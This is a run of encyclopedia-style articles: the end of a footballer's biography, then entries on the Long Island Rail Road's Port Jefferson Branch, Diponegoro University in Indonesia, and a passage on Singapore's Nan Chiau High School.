After playing just one game for the Republic of Ireland's U16's, Lonergan decided to play for the country of his birth England. He was called up to represent England's U-21 team for the first time in February 2004. He also played for England in the Under 20's World Cup. He is also eligible to play for the Republic of Ireland national team due to his Irish grandparents.
Due to a change in FIFA rulings Lonergan became eligible for the Republic of Ireland, with the keeper on Giovanni Trappatoni's radar for the squad. Former Preston teammate and Republic of Ireland international Sean St. Ledger also championed Lonergan getting a call up to the Ireland squad. In May 2010, Lonergan revealed he would welcome a call up to the Republic of Ireland national team after he had initially refused an enquiry to be called up to the Irish squad.
Personal life
Lonergan attended St. Cecilia's RC Technology College (now St. Cecilia's RC High School). He has two daughters, one of whom suffers from Phenylketonuria.
Career statistics
Honours
Liverpool
UEFA Super Cup: 2019
FIFA Club World Cup: 2019
Individual
Preston North End Fans' Player of the Year: 2008–09, 2009–10
Preston North End Player's Player of the Year: 2009–10
Preston North End Young Player of the Year: 2000–01
References
External links
1983 births
Living people
Footballers from Preston, Lancashire
English men's footballers
England men's youth international footballers
Republic of Ireland men's association footballers
Republic of Ireland men's youth international footballers
Men's association football goalkeepers
Blackburn Rovers F.C. players
Preston North End F.C. players
Darlington F.C. players
Blackpool F.C. players
Wycombe Wanderers F.C. players
Swindon Town F.C. players
Leeds United F.C. players
Bolton Wanderers F.C. players
Fulham F.C. players
Wolverhampton Wanderers F.C. players
Middlesbrough F.C. players
Rochdale A.F.C. players
Liverpool F.C. players
Stoke City F.C. players
West Bromwich Albion F.C. players
Everton F.C. players
English Football League players
English people of Irish descent
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https://en.wikipedia.org/wiki/Port%20Jefferson%20Branch
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Port Jefferson Branch
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The Port Jefferson Branch is a rail line and service owned and operated by the Long Island Rail Road in the U.S. state of New York. The branch splits from the Main Line just east of Hicksville and runs northeast and east to Port Jefferson. Several stations on the Main Line west of Hicksville are served primarily by trains bound to/from the Port Jefferson branch, so LIRR maps and schedules for the public include that part of the Main Line in the "Port Jefferson Branch" service.
The Port Jefferson Branch is one of the busiest branches of the LIRR, with frequent electric service to Huntington where electrification ends, and diesel service east of Huntington continuing to Port Jefferson. The MTA also refers to the line as the "Huntington/Port Jefferson Branch" or "Huntington Branch".
Service
Port Jefferson Branch service (as distinct from the physical trackage called the Port Jefferson Branch) extends east from Floral Park, where the Hempstead Branch separates from the Main Line. The line west of Huntington is electrified and double tracked. Electrification extends east of Huntington, past a layup track used to store electric trains, to a point between the Park Avenue and Lake Road grade crossings. East of there, the line is single-track, with a double-ended freight siding at Greenlawn, an interlocked passing siding east of Northport, and further interlocked sidings at Kings Park, Smithtown and Stony Brook passenger stations, allowing trains traveling in opposite directions to pass each other.
Electric trains on the branch operate between Manhattan (Penn Station or Grand Central) and Huntington, providing local service on the branch. Trains to the Ronkonkoma Branch provide supplemental service; these usually run express, stopping only at Mineola and/or Hicksville. Additional service to Mineola is provided by Oyster Bay Branch trains, and a handful of Montauk Branch trains also stop at Mineola and Hicksville on weekdays, though the vast majority of Montauk Branch trains that run on the Main Line do not stop. Service on the non-electrified portion of the branch between Port Jefferson and Huntington is usually provided by diesel shuttles; transfers generally occur at Huntington between diesel shuttles and electric trains to/from city terminals. During rush hours, the branch sees extra service, including direct service between stations east of Huntington and Hunterspoint Avenue, Long Island City, or Penn Station.
Stations on the electrified portion that have the heaviest traffic include Mineola (Main Line), Hicksville (Main Line), and Huntington. On the non-electrified portion, the heaviest traffic tends to be to the Stony Brook station where Stony Brook University is located.
History
The line from Hicksville to Syosset was chartered in 1853 as the Hicksville and Syosset Railroad and opened in 1854. The LIRR later planned to extend to Cold Spring Harbor, but Oliver Charlick, the LIRR's president, disagreed over the station's location, so Charlick abandoned the grade and relocated the extension south of Cold Spring, refusing to add a station stop near Cold Spring for years. Another argument at Huntington led to the line bypassing the town two miles (3 km) to the south, though a station was built. The line was extended from Syosset past Huntington to Northport in 1868, and in 1873 the 1870-chartered Smithtown and Port Jefferson Railroad opened from a mile south of Northport to Port Jefferson, turning the old line into Northport into the Northport Branch, the result of another argument between Charlick and Northport.
The Port Jefferson Branch was extended to Wading River in 1895, and became known as the Wading River Branch. The line was once slated to continue eastward and rejoin the Main Line at either Riverhead or Calverton. From 1905 to 1928, Wading River was also the site of an LIRR demonstration farm. The other one was east of Medford station on the Main Line.
The grade crossing with New York Avenue in Huntington was eliminated in 1909 as that road was lowered below grade. In 1910 and 1911 work was undertaken to reduce grades and eliminate sharp curves along the line between Syosset and Huntington. The project eliminated grade crossings, shortened the line by , and provided two million yards of excavated material that could be used for the reconstruction of Jamaica station. In 1911, the line's second track was extended from Hicksville to Cold Spring. In 1985, the second track was extended from just east of Syosset to just west of Huntington to alleviate a single-track bottleneck.
The line east of Port Jefferson was abandoned in 1938. The right-of-way is now owned by the Long Island Power Authority and used for power lines. A parallel rail trail for bicycling, running, and walking opened in 2022. The Port Jefferson Branch was electrified from Mineola to Huntington Station in 1970. The former Northport Branch was abandoned in 1985, and the Kings Park Psychiatric Center spur (see below) was abandoned in 1988.
Kings Park Psychiatric Center Spur
Kings Park Psychiatric run-off also known as KPPC is an abandoned spur off the Port Jefferson Branch for the Kings Park Psychiatric Center. This spur started just west of Kings Park station, ran north of the station house, crossed Indian Head Road (Suffolk CR 14) and then curved north to cross New York State Route 25A, where it ran along the western edge of the hospital property, and ended at the Hospital's coal power plant.
This spur was first used in 1896 for coal and passenger use on Sundays. The route was the second largest spur in the Long Island Rail Road system when it was first completed. The route came to an end during the late 1980s. Nowadays, this abandoned route is a right-of-way for biking and is open to the public today. Also, today, only small fragments of rail remain as it most of it was removed during the demise of the complex.
Electrification
On October 19, 1970, electrification was extended from Mineola to Huntington, the eastern limit of electrification on the branch. This was the first major LIRR electrification project since the electrification of the Babylon Branch in 1925 between Lynbrook and Babylon. The project was completed for $69 million, and received funding from a 1967 state transportation bond issue and the United States Department of Transportation. With the completion of electrification to Huntington, six trains would run from electric territory on the branch in the morning, and five would return in the evening, providing direct service to Brooklyn and Penn Station without a change at Jamaica.
Since then, the LIRR has aspired to extend electrification beyond Huntington. In the 1980s, the railroad prepared to extend electrification to at least Northport, or Smithtown, although electrification of the Ronkonkoma Branch on the Main Line was seen as a higher priority, in part because the Main Line's central location in Suffolk County would benefit a larger number of people.
In December 1983, the LIRR announced that it was taking steps in the electrification of the branch, with the first step being the addition of a second electrified track from Syosset to Huntington. The second built along the south side of the existing track. The second track was expected to be open in 1986. In August 1983, Long Island Lighting Company started relocating its power line along the right-of-way between these points. The following month a contract to prepare the site and to construct the roadbed for the track was awarded for $9.5 million. In December 1983, grading and construction work was expected to begin that month, and track installation was scheduled to be completed by the end of 1985. As part of the project, the south platform was to be extended to accommodate 12-car trains. The design of the project to Northport was completed, and preliminary designs were expected to be completed by early 1984.
On August 6, 1984, a groundbreaking ceremony was held at Kings Park station for the inauguration of a project to install high-level platforms at that station in preparation of the electrification of the line from Huntington to Smithtown. Kings Park would receive high-level platforms first, with Greenlawn, Northport, and Smithtown also slated to receive them. Work was to be completed in two phases. In the first phase, expected to be completed by the end of 1984, six-car high-level platforms would be installed. These platforms would be extended to accommodate twelve-car trains in the second phase, to be done by the middle of 1985.
Bruce McIver, president of the LIRR at the time, estimated in 1986 that electrification of the branch would cost $320 million, including new rolling stock. He argued that the limited funds the railroad had set aside for electrification would be better spent on other improvements, such as signal and yard upgrades near Penn Station. Financial constraints acted as another obstacle to electrification to Northport. McIver also did not want to electrify the branch in a piecemeal fashion and wanted to wait until the railroad had the funds to electrify from Huntington to Port Jefferson all at once. In anticipation of electrification, from late 1985 to early 1986, the LIRR built full-length high-level platforms at all stations between Huntington and Port Jefferson. Because electrification has not occurred, these 12-car platforms are unique in the LIRR's diesel territory; the high-level platforms along the Montauk, Greenport and Oyster Bay diesel branches are all much shorter. Work to install centralized traffic control between Smithtown and Port Jefferson started in fall 1974 and was completed in March 1975. This project was intended to improve safety and to increase train speed. The change allowed bidirectional service in single-track territory with the use of passing sidings.
On June 9, 1986, double-tracking of the line between Syosset and Huntington was completed, and seven additional trains (two diesels and five electric) were added to the schedule. The second track sped some trips by up to 15 minutes, and increased operational flexibility. The $41 million project started in September 1983 and included the widening of bridges at West Rogues Path and Woodbury Road, five rubberized grade crossings, and the installation of a six-car length platform on the new second track at Cold Spring Harbor. Construction for the project required off-peak service outages starting in June 1985, and its completion was delayed from fall 1985 due to delays in property acquisition in Cold Spring Harbor.
Instead of electrification, the LIRR ultimately pursued dual-mode locomotives that could switch between diesel power and electric power to serve Penn Station (where diesel emissions are banned). Senator Norman Levy said that "The people who ride the line would have just about all the positive aspects of electrification with this proposal." The LIRR's dual-mode locomotives debuted in the late 1990s, providing two round trips during weekday rush hours between Penn Station and Port Jefferson, the first time a one-seat ride was available.
Proposed electrification extension
In 2015, multiple parties renewed calls for electrification of the branch. The LIRR estimated that electrification would cost up to $18 million per track mile, so electrification of the 23 miles from Huntington to Port Jefferson could cost approximately $414 million. In its 20-Year Needs Assessment, the agency lists electrification eastward as a long-term goal.
In September 2018, LIRR President Phillip Eng said the LIRR is still exploring the possibility of electrifying the remaining section of track between Huntington and Port Jefferson.
Grade crossing eliminations
The Port Jefferson Branch and Main Line also been known to have the most hazardous grade crossings in the country. On April 28, 1998, a bridge over Herricks Road opened, replacing a grade crossing which was once "labeled the most hazardous in the United States by the National Transportation Safety Board." The grade-crossing elimination project was initiated after an incident on March 14, 1982, when a van with ten teenagers got struck at the four-lane wide rail crossing with the crossing gates down, killing nine of them. The project took five years and cost $85 million. Work continued for a year to widen the overpass to allow for a future third track.
Other crossings eliminated along the branch include Mineola Boulevard in Mineola (1930), crossings within Hicksville when the station was elevated in the early 1960s, and Charlotte Avenue in Hicksville (1973). Ten years later in 2008, the four-lane wide Roslyn Road in Mineola was eliminated in the same fashion. Several hazardous crossings still exist west of Huntington east of DIVIDE interlocking, such as Robbins Lane and Jackson Avenue in Syosset. East of Huntington, Park Avenue in Huntington and Main Street in Port Jefferson are considered quite hazardous.
The Third Track project closed the seven remaining grade crossings on the Main Line, namely those in Westbury, Mineola, and New Hyde Park. The first two crossings that underwent elimination would be Urban Avenue in Westbury and Covert Avenue in New Hyde Park. Construction to eliminate began from February–April 2019 with the closures of both roads. On the weekend of July 20–21, 2019, the trestle that will carry the three tracks was installed at Urban Avenue. After construction of retaining walls, pedestrian walkway, and the repaving of the road, Urban Avenue was officially reopened on September 5, 2019. Covert Avenue underwent the installation of a three-track trestle on the weekend of August 24–25 and reopened on October 12, 2019. New Hyde Park underwent the installation of a three-track trestle on the weekend of July 11–12, 2020, and reopened in August 2020. By mid-2021, Main Street in Mineola, the pedestrian crossing at Mineola's station, and 12th Street in New Hyde Park will be permanently closed to pedestrian and vehicular traffic, while Willis Avenue in Mineola and School Street in Westbury will receive trestles, with the roads crossing underneath. From May 2020 to November 2020, School Street underwent elimination and reopened less than two years after a violent accident involving a pick-up and two trains. On October 24, 2020, New Hyde Park officially was grade-separated when 12th Street was closed permanently. As of late 2020, the only grade crossings in between Hicksville and Floral Park are located in Mineola. In November 2020, Willis Avenue's elimination project began that will see both its Main Line and Oyster Bay Branch crossings eliminated with the road going underneath the tracks. Main Street and the pedestrian crossing will be removed shortly afterwards. After the Third Track Project is completed there will be no grade crossings from Hicksville Westward, noise from horns will be reduced to the benefit of residents along the tracks, and carbon emissions from idling vehicles will be eliminated. The elimination and reopening of Willis Avenue on September 3, 2021, officially marked the completion of the grade crossing elimination aspect of the Third Track Project, and the branch being fully grade-separated west of Hicksville.
Infrastructure improvements
New electric yard
Lacking a yard to store its electric trains, the branch has storage space for just three 12-car electric trainsets (at the South Side track extension east of Huntington). As a result, electric trains must deadhead to Huntington for rush hour service from as far away as West Side Yard in Manhattan, about away. A new yard for electric trains would resolve this inefficiency and allow more frequent service on the branch.
In the early 2000s, the MTA performed environmental studies for over a dozen potential sites for a yard between Huntington and Smithtown. Sites beyond Huntington would require extending the electrical infrastructure, which adds expense.
Communities near the sites opposed the MTA's efforts to advance work on a new yard, arguing that the MTA was too secretive and that the increased train service and train movements would hurt their communities and decrease their quality of life. One commenter asserted that a yard would turn the communities along the line into the MTA's "storage closet" for East Side Access. Other opponents of the plan argued that the MTA should extend electrification to Port Jefferson and use its existing diesel rail yard.
The MTA budgeted $8 million in its 2015–2019 Capital Program for environmental studies, design work, and land acquisition for a new electric yard. (Construction would be funded in a future Capital Program.) , the MTA was also considering other options, including extending electrification and/or a second track from Huntington to Port Jefferson.
In February 2022, local leaders urged the MTA to consider a Superfund site near the Port Jefferson Station—the former Lawrence Aviation Industries site—for the electric storage yard, as well as extending electrification from Huntington to Port Jefferson. The MTA has not moved forward with this plan or any others.
Stations
West of , trips go on to terminate at , , , or . Stations east of on the former Wading River Branch were abandoned on October 3, 1938.
Bibliography
References
External links
NYCSubway.org Port Jefferson Line
Wading River Branch (Arrt's Arrchives)
Port Jefferson Branch (The LIRR Today)
Long Island Rail Road branches
Transportation in Nassau County, New York
Transportation in Suffolk County, New York
1854 establishments in New York (state)
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https://en.wikipedia.org/wiki/Diponegoro%20University
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Diponegoro University
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Diponegoro University (; , abbreviated as UNDIP) is a public university in Semarang, Central Java, Indonesia. Founded in 1957 as a private university by the Semarang University Foundation, which later in 1960 became public university, and named after Javanese Prince Diponegoro. It is the oldest education corporation in Central Java.
History
In the early 1950s, people in Central Java, especially in Semarang, needed a university to provide higher education learning and teaching facilities. It has been purpose to support of government in handling and in conducting all sectors of development, especially in the field of education. At that time, it was only Gajah Mada University as a public university which provides higher education for people in Yogyakarta and also Central Java.
As the number of senior high school graduates have continuously been increasing without increment in the number of universities, some graduates may not be able to gain a seat in higher education in north of Central Java. Considering this situation, MR. Imam Bardjo and his colleagues formed an educational foundation, namely Yayasan Universitas Semarang (Foundation of Semarang University), noted by notary R.M. Soeprapto on Notarial Deed No 59, 4 December 1956. The foundation was the first step to establish a university in Semarang, namely Semarang University, which was officially opened on 9 January 1957, and Mr. Imam Bardjo was the first President (Rector) of the university.
When Semarang University celebrated its third Dies Natalis (anniversary) on 9 January 1960, President of Indonesia, Sukarno renamed the Semarang University as Diponegoro University. Changing the name of Semarang University was intended as a tribute to the university's performance in development of higher education in Central Java. The President's decision was confirmed by the Government Regulation No. 7 1961 and Decree Minister of Education, Teaching and Culture No. 101247 / UU on 3 December 1960.
The decision was retroactive to 15 October 1957, and this date is commemorated as the day of Diponegoro University's Dies Natalis as well as for remembering "Five Days Battle in Semarang", which is part of Indonesian National Revolution war that took place in Semarang City. Diponegoro University chose the date as its Dies Natalis for continuing national heroes' vision and mission for Indonesia's independence, by developing the nation's next generation.
The year of 1957 was defined as the year of Diponegoro University's establishment, by considering history of Semarang University as a private university founded in 1957 was an embryo of Diponegoro University. And the date of establishment 15 October 1957 was stated in Rector's report on the 13th Dies Natalis of Diponegoro University.
Currently under Government Regulations No. 81/2014 and Government Regulations of the Republic of Indonesia No. 52/2015, Diponegoro University earns the status of PTN-BH (Perguruan Tinggi Negeri-Badan Hukum/State-Owned Higher Education with a Legal Entity Status).
Academics
Faculties
Undip has 11 official faculties and 2 schools.
Faculty of Animal and Agricultural Sciences
Faculty of Economics and Business
Faculty of Engineering
Faculty of Fisheries and Marine Sciences
Faculty of Humanities
Faculty of Law
Faculty of Medicine
Faculty of Psychology
Faculty of Public Health
Faculty of Sciences and Mathematics
Faculty of Social and Political Sciences
Postgraduate School
Vocational School
Ranking
In the QS World University Rankings 2020, the Diponegoro University ranked in the range of 801–1000 globally and ranked eighth in Indonesia. Meanwhile, in the QS Asian University Rankings 2021, the Diponegoro University ranked 241st in Asia and ranked ninth in Indonesia. Diponegoro University also ranked in the range of 301–500 globally by QS Graduate Employability Ranking.
In the Times Higher Education World University Rankings 2021, Diponegoro University is ranked in the range of 1001+ globally. Undip also ranked in the range of 101–200th globally in Impact Rankings 2020, where Undip ranked 49th globally in Impact Rankings: Responsible Consumption and Production 2020. In THE WUR 2021 also ranked Diponegoro University as number 4 in Indonesia. In June 2021, in the QS World University Rankings 2022, Diponegoro University is ranked in the range of 1001+ globally and ranked eighth in Indonesia.
Diponegoro University's ranking and accreditation are follows:
BAN-PT: Diponegoro University obtained accreditation "A" in BAN-PT (13/SK/BAN-PT/Akred/PT/II/2018)
4ICU: Undip rank third best campuses in Indonesia. While the positions 1 through 2 respectively occupied by the Gadjah Mada University (UGM) and University of Indonesia (UI).
QS: Diponegoro University ranked 8 in Indonesia in the QS World University Ranking and ranked 9 in Indonesia in the QS Asian University Ranking
THE: Diponegoro University is in the fourth position out of 9 universities in Indonesia that THE WUR has recognized, as a respected position at the international level.
World Greenmetrics: Diponegoro University ranking is 39 with score of 8,025 (ranked 2 in Indonesia)
Scopus: Undip scientific publications indexed in Scopus totalled 7,790 documents and ranking seventh in Indonesia.
Admissions
Undergraduate
Students are required to pass examinations for admissions to the university.
Admissions test required for application and admissions:
SNMPTN (selected-national admission)
SBMPTN (written test-national admission)
UM/Ujian mandiri (independent test, held by the university)
SBUB/Seleksi Bibit Unggul Berprestasi (selection by achievements-held by the university)
IUP/International Undergraduate Program (international program-held by the university)
The academic year is divided into semesters like in many other universities of Indonesia. In addition to low tuition fees the university provides the students with extra financial assistance in the form of scholarships. Undip is one of the universities that offers online education.
Postgraduate
Diponegoro University offers the number of Postgraduate Programs for all prospective students in Indonesia and international students from around the world. There are 34 Postgraduate Study Programs, consist of 8 doctorate and 28 master programs offered. These programs are opened widely for the university graduates achieving higher degree of education. The university gives a very high consideration and priority to the quality of the postgraduate program. Development of education, research and community service are based on the university's scientific pattern, that is coastal eco-development. Program is delivered in accordance to the program nature and domain, with customized assessments at program and subject level.
International students
International applicants for admission to UNDIP's undergraduate program are required to complete or are completing high school. The medium of instruction for international classes at UNDIP is English. As of 2020, there are about 230 international students in Diponegoro University.
Achievements
128 UNDIP students win an honourable position in the 2020 Student Creativity Program (PKM) competition held by the Ministry of Education and Culture.
UNDIP students from the Faculty of Engineering wins gold medals in the 12th 2020 Euroinvent International Competition.
Journal from Faculty of Animal and Agricultural Sciences (FPP) UNDIP penetrates to international level, indexed Scopus Q3, a fairly prestigious position and currently there are only two similar journals from Indonesia in this level.
27 Diponegoro University Professors were included in the list of 500 Best Researchers in Indonesia. This announcement was made by the Minister of Research and Technology/Head of the Research and Innovation Agency (Menristek/Kepala BRIN).
Outstanding Reviewers Award 2019 for Dr. Choirul Anam from the Journal of Biomedical Physics and Engineering Express.
UNDIP Public Relations Achieves Bronze Winner at the PR Indonesia Awards 2020.
Diponegoro University (Undip) have ranked fourth in Indonesia based the World campus rating agency utilizing web popularity of each universities, namely 4ICU UniRank.
Diponegoro University have received an award for UI GreenMetric in achieving the fourth place at the national level and 50th in the world from a total of 780 universities from 85 countries in the world.
Re-obtaining rotating trophy of Teaching Farm Charoend Pokphand 2019, FPP UNDIP became the best of Indonesia.
The Minister of Law and Human Rights (Menkumham) awarded Universitas Diponegoro (UNDIP) as the university that issued the most Patent Rights in 2018.
Collaboration with overseas universities
Since 1991, Diponegoro University starts to establish collaboration with different foreign institutions, including universities, NGOs, government agencies and companies around the globe. The International collaborations in terms of education, research exchange program, joint scientific research, training, academic exchange, scientist exchange, and student exchange program.
As of April 2020, Undip has collaborations with 116 international institutions in 28 countries. They are top universities from various country across Asia, Australia, Americas and Europe. Some of the examples are:
University of Western Australia, Australia
Curtin University, Australia
University of Queensland, Australia
Tsinghua University, China
University of Zagreb, Croatia
Aarhus University, Denmark
University of Poitiers, France
Technische Universität Darmstadt, Germany
University of Trento, Italy
Kagoshima University, Japan
Chiba University, Japan
Toyohashi University of Technology, Japan
Radboud University, Netherlands
National University of Singapore, Singapore
Kangwon National University, South Korea
Gyeongsang National University, South Korea
National Sun Yat-sen University, Taiwan
Tunghai University, Taiwan
University of Birmingham, United Kingdom
University of Sheffield, United Kingdom
Boston University, United States
Oklahoma State University, United States
Research organisations
There are numerous research centres and service centres in Diponegoro University under LPPM (Lembaga Penelitian dan Pengabdian Masyarakat/Institute for Research and Community Service) of Diponegoro University:
Centre for Gender Studies
Health Research Centre
Centre for Development Studies
Centre for Service Training Programme
Community Service Programme (KKN) Service Centre
Public Service Programme Centre
Centre for Promotion and Publication of Research Results and Intellectual Property Rights services (HKI)
Centre for Disaster Studies
Centre for Development Policy and Management Studies
Natural Medicine Research Centre
Centre for Energy Policy Studies (Pusaka Energia)
Centre for Biomass and Renewable Energy Studies
Anti-Corruption Research Centre
Centre for Marine Studies
Diponegoro Disaster Response Team (D-DART Undip)
Centre for Sport and Youth Studies
Asia Studies Centre
Centre of ASEAN Study
Centre of Trade & WTO Policy
Centre of International Human Rights & Humanitarian Law Studies
Centre for Bio Mechanics, Bio Material, Bio Mechatronics, and Bio Signal Processing (CBIOM3S)
Centre for Coastal Rehabilitation and Disaster Mitigation Studies (CoREM)
Environmental Research Centre (PPLH)
Halal Study Centre
Laboratory for Disorders Due to Iodine Deficiency (GAKY)
Leprosy Study Centre
Medical Education Unit (MEDU Diponegoro)
Centre of Epidemiology and Biostatistics Unit (CEBU Diponegoro)
Centre of Avian Influenza, Molecular and Clinical Microbiology
Centre of Tropical Infectious Diseases (CENTRID)
Centre of Biomedical Research (CEBIOR)
Centre of Nutrition Research (CENURE)
Centre for Geothermal Research (Pusat Penelitian Geothermal)
Centre of Marine Ecology and Biomonitoring for Sustainable Aquaculture (Ce-MEBSA)
Centre for Plasma Research (CPR)
Family Empowerment Centre (PPK)
Aging Research Centre (ARC)
Centre for Experiment and Psychometric Studies (CEPS)
Campuses
Undip is in Semarang – the capital city of Central Java. The university has 8 campuses outside Semarang as far away as Jepara, about 70 km northeast Semarang.
Main campus
Tembalang Campus is the largest and the newest. Tembalang occupies about 213 hectares with an administrative center, Central library, rectorate of Widya Puraya, all of the 11 faculties and 2 schools.
Pleburan Campus is the oldest campus since the existing campuses were merged in its early establishment. The campus occupies about 8 hectares area, with the Magister and Doctorate Program and some operational units.
Other campus
Gunung Brintik Campus and Dr. Soetomo Campus has the Faculty of Medicine. It is near Dr. Kariadi Hospital.
Teluk Awur Campus (60 hectares) is in Jepara, 70 km northeast Semarang. (Faculty of Fisheries and Marine Science).
Mlonggo Campus, Jepara. (Faculty of Medicine)
Kalisari Campus, Semarang. (Laboratory of Faculty of Engineering)
Ade Irma Suryani Campus, Jepara. (Laboratory for Faculty of Fisheries and Marine Science).
Kagok Housing, Semarang.
Facilities
Dormitory
Rumah Susun Sewa bagi Mahasiswa (Rusunawa) is the student dormitory building. The building has five twin blocks:
Building A has 84 rooms with 252 students.
Building B, C, and D, each have 96 rooms with 288 students with three persons per room.
Building E has 114 rooms. It is the newest dormitory building, construction finished in 2018.
Central library
Diponegoro University Library (Perpustakaan Universitas Diponegoro) is centred in Widya Puraya Central Library in the Tembalang campus and comprises over 400 individual libraries and over 4,000 volumes. Faculties have department libraries and literature from journal alumni.
Mosque
Maskam (Masjid Kampus Undip) or Undip Campus Mosque is a mosque at the Tembalang campus. It's surrounded by a natural environment and nearby central campus' area. The architecture is from 'pyramid' building and became one of the most unusual mosques in Semarang. Construction began in 2004 and finished in 2009.
Student centre
Diponegoro University Student Centre (SC) is the central building for Undip students' activities. The student centre was built to fulfil the needs for a place where students can express their creativity and increase their achievement, and home bases for numerous UKM (Unit Kegiatan Mahasiswa/Student Activities Unit). It has several rooms: one pavilion, 40 rooms for UKM, one prayer room, one canteen, and two transit rooms.
Sport
Diponegoro University Stadium
Football field
Athletic track
Calisthenics corner
International Indoor Stadium Undip
Badminton & tennis court
Basketball court
Other facilities
Other facilities in Undip campus are:
The ICT Centre (international office, scholarship centre, international meeting room, etc.)
Undip Career Centre (UCC)
Training centre I and II
Undip's Pertamina petrol station
Diponegoro National Hospital (Rumah Sakit Nasional Diponegoro/RSND)
Diponegoro Educational Reservoir (Waduk Pendidikan Diponegoro)
Integrated laboratory
Prof. Soedarto Auditorium
Health centre, etc.
Notable staff and alumni
Undip has produced over 200,000 graduates. Many of them become a public figure, politician, entrepreneur, writer, artist, and many more. Some of the selected examples are below:
Anindya Kusuma Putri, Puteri Indonesia 2015, Top 15 Miss Universe 2015, spokesperson for the Indonesian Minister of Youth & Sports Affairs.
Arief Hidayat, fifth Chief Justice of the Constitutional Court of Indonesia.
Baharuddin Lopa, Indonesian Minister of Justice and Human Rights and later Attorney General of Indonesia.
Bondan Winarno, Indonesian culinary expert and writer.
Darmanto Jatman (Professor Emeritus of Psychology Faculty of Diponegoro University, humanist, philosopher and poet Indonesia).
Hendarman Supandji (Attorney General of the Republic of Indonesia 2007–2010).
Ko Kwat Tiong, lawyer, members of the Volksraad, politician and Indonesian nationalist.
Michael Bambang Hartono (owner of PT Djarum).
Mohamad Nasir, Minister of Research, Technology, and Higher Education of the Republic of Indonesia (in Working Cabinet, 2014–2019).
Muladi (Minister of Justice in the Seventh Development Cabinet and Development Reform Cabinet of Indonesia in 2005–2011).
Robert Budi Hartono (owner of PT Djarum).
Sanitiar Burhanuddin, present Attorney General of Indonesia, serving since October 2019 in the cabinet of President Joko Widodo.
Soekarwo (Governor of East Java 2009–2014).
Taufik Kurniawan, Deputy Speaker of People's Representative Council of the Republic of Indonesia (DPR RI) in 2014–2019.
Tjahjo Kumolo, Indonesian Minister of Administrative and Bureaucratic Reform. Previously served as Minister of Home Affairs in 2014–2019.
Trinity, Indonesian traveller, writer, and blogger.
Triyanto Triwikromo, Indonesian writer.
References
External links
Buildings and structures in Semarang
Diponegoro University
Universities and colleges established in 1956
Universities in Central Java
Diponegoro
Indonesian state universities
1956 establishments in Indonesia
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https://en.wikipedia.org/wiki/Nan%20Chiau%20High%20School
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Nan Chiau High School
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Nan Chiau High School (NCHS) () is a co-educational government-aided institution in Sengkang, Singapore affiliated to the Singapore Hokkien Huay Kuan. It offers the four-year Express (Special) course for secondary education.
Founded in 1947, the institution operates under the Special Assistance Plan (SAP), with the mission to nurture bilingual and bi-cultural scholars who are highly knowledgeable in the Chinese language and culture. Affirmed as the North Zone Centre of Excellence for Chinese Language, the institution is known for its strong Chinese foundation in terms of teaching of the language and promulgation of the heritage and culture, which are not confined to the classrooms.
To date, Nan Chiau High has nurtured three President's Scholars, and is currently one of Singapore's leading schools for Infocomm Technology. It is also one of the joint organisers of the National Secondary School Chinese Creative Writing Competition.
History
Nan Chiau Teachers' Training College (1941–1947)
Nan Chiau High School was initially established as Nan Chiau Teachers' Training College in 1941 by Mr Tan Kah Kee, a Chinese businessman, community leader and philanthropist, to support the local education needs. The initial schooling site was incorporated from mansions donated by Mr Lee Kong Chian, on a plot of land in River Valley. The campus was used as the base and training barracks for Dalforce, a Chinese volunteers’ army formed promptly before the Japanese invasion in 1942.
Nan Chiau Girls High School (1947–1984)
After the war, the demand for education rose, especially for high school education. There was also a rising need to cater to students enrolled in the elementary schools affiliated to the Singapore Hokkien Huay Kuan. Thus, Nan Chiau Teachers' Training College was converted into a girls' high school on 8 March 1947, featuring a primary school section. Mr Yang Zhen Li was the first principal of the institution, which had an initial student enrolment of 900 students. A female hostel was also built in the 1950s. By the 1960s, Nan Chiau Girls' High had gained reputation as one of the state's top high schools. In 1965, the Singapore Hokkien Huay Kuan spent 2 million dollars to rebuild Nan Chiau Girl's High School to meet the needs of an increased student enrolment. During the re-construction, the high school section conducted lessons at a temporary campus at Guillemard Road, while the primary school section continued lessons at the unaffected classroom blocks of the Kim Yam Road campus. The new campus was officially opened by then Minister for Education Mr. Ong Pang Boon, on 8 March 1969.
In 1974, the student population of the institution went up to 2700, the highest in the school's history, with 48 classes in the six-year high-school section and 24 classes at the primary-school section. Two-year pre-university classes were also offered to top students alongside senior high classes, with good GCE Advanced Level examination results yearly. To cope with the increased enrolment, additional 300 thousand dollars was spent for constructing the 5th storey of the school building.
In 1978, Nan Chiau Girls' High was initially included in the list of 12 newly accorded Special Assistance Plan schools. However, with the concern from the Ministry of Education over the surplus of school places that might hinder the success of the scheme, the number of SAP schools were amended to nine, which excluded Nan Chiau Girl's High School. In 1980, the institution ceased senior high and pre-university classes following the changes to the education system, and adopted English as its language medium. As student enrolment started to decline, the institution went co-educational in 1984 with the enrolment of male students, and was renamed "Nan Chiau High School"
Relocation to Sengkang
In the 1990s, calls for Nan Chiau High to consider attaining independent status surfaced amidst shrinking student population, stating of the institution's ample human and financial backing along with its affiliation with several Special Assistance Plan primary schools, under the auspices of Singapore Hokkien Huay Kuan. Nearing the end of the decade, the declining student population became more significant and the institution was on the verge of permanent closure. In 2000, Nan Chiau High School relocated to Sengkang New Town under an agreement with the Singapore Land Authority. The primary section separated to form Nan Chiau Primary School and relocated to 50 Anchorvale Link. That year, Nan Chiau High School was also ranked the top value-added school in the Ministry of Education's 1999 ranking of Special/Express schools in Singapore.
Attainment of SAP status
In November 2010, Nan Chiau High School was formally recognised by the Ministry of Education to be included as the 11th Special Assistance Plan (SAP) school, with effect from 2012. The news was given by minister of education Dr Ng Eng Hen during his opening address at the Singapore Hokkien Festival, and was welcomed by numerous school alumni and educators, noting that the institution could finally fulfil its mission to preserve and advocate the Chinese heritage and culture with more support from the government. In commemoration, a public musical performance was staged at Nanyang Polytechnic on 23 June 2012. Themed "Equilibrium", the musical was the first public performance in the institution's history to have the production and songs composed entirely by teachers and students.
On 29 December 2013, a home-coming event was held at the former Nan Chiau High School campus at 46 Kim Yam Road, which thousands of alumni, former and present principals, teachers and staff of the institution gathered at the former school hall in a brunch buffet setting. The event was held before the official relaunch of the site of the former campus as a commercial development of offices, schools and F&B establishments.
